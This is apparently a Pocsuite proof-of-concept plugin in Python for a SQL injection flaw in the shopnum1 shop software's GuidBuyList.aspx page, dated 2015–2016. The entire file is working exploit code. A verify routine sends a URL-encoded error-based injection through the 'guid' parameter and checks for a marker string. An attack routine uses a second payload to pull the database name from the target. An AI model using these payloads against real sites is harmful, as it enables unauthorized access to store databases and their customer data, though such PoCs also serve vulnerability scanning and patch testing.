shopnum1 GuidBuyList.aspx SQL注入漏洞

                                                #!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import requests
import re

class TestPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['烽火戏诸侯']
    vulDate = '	2015-06-09'
    createDate = '2016-1-15'
    updateDate = '2016-1-15'
    references = ['']
    author = ['烽火戏诸侯']
    name = 'shopnum1 GuidBuyList.aspx SQL注入漏洞'
    appPowerLink = ''
    appName = 'shopnum1'
    appVersion = ''
    vulType = 'sql注入漏洞'
    desc = '''
       shopnum1 GuidBuyList.aspx SQL注入漏洞
    '''
    samples = ['']

    def _verify(self):
        result = {}
        payload = '/GuidBuyList.aspx?guid=97dcbadc-9b4f-4ff5-9ffb-17e46e10d66d%27%20and%20%28select%20%20CHAR%28116%29%20%2b%20CHAR%28121%29%20%2b%20CHAR%28113%29%29%3E0%20--'
    
        vulurl =self.url+payload
        resp = requests.get(vulurl)
       
        if resp.status_code == 200 and 'tyq' in resp.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL']=vulurl 
        return self.parse_attack(result)

    def _attack(self):
        result = {}
        payload = '/GuidBuyList.aspx?guid=97dcbadc-9b4f-4ff5-9ffb-17e46e10d66d%27%20and%20%28select%20%20CHAR%28116%29%20%2b%20CHAR%28121%29%20%2b%20CHAR%28113%29%2bdb_name%28%29%2b%20CHAR%28116%29%20%2b%20CHAR%28121%29%20%2b%20CHAR%28113%29%29%3E0%20--'
        vulurl =self.url+payload
        resp = requests.get(vulurl)
        if resp.status_code == 200 and 'tyq' in resp.content:
            re_dbname = re.search(r'tyq(.+)tyq',resp.content)
            result['Database'] = {}
            result['Database']['DBname'] = re_dbname.group(1)
                
        return self.parse_attack(result)
    
    def parse_attack(self, result):       
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output                                              

register(TestPOC)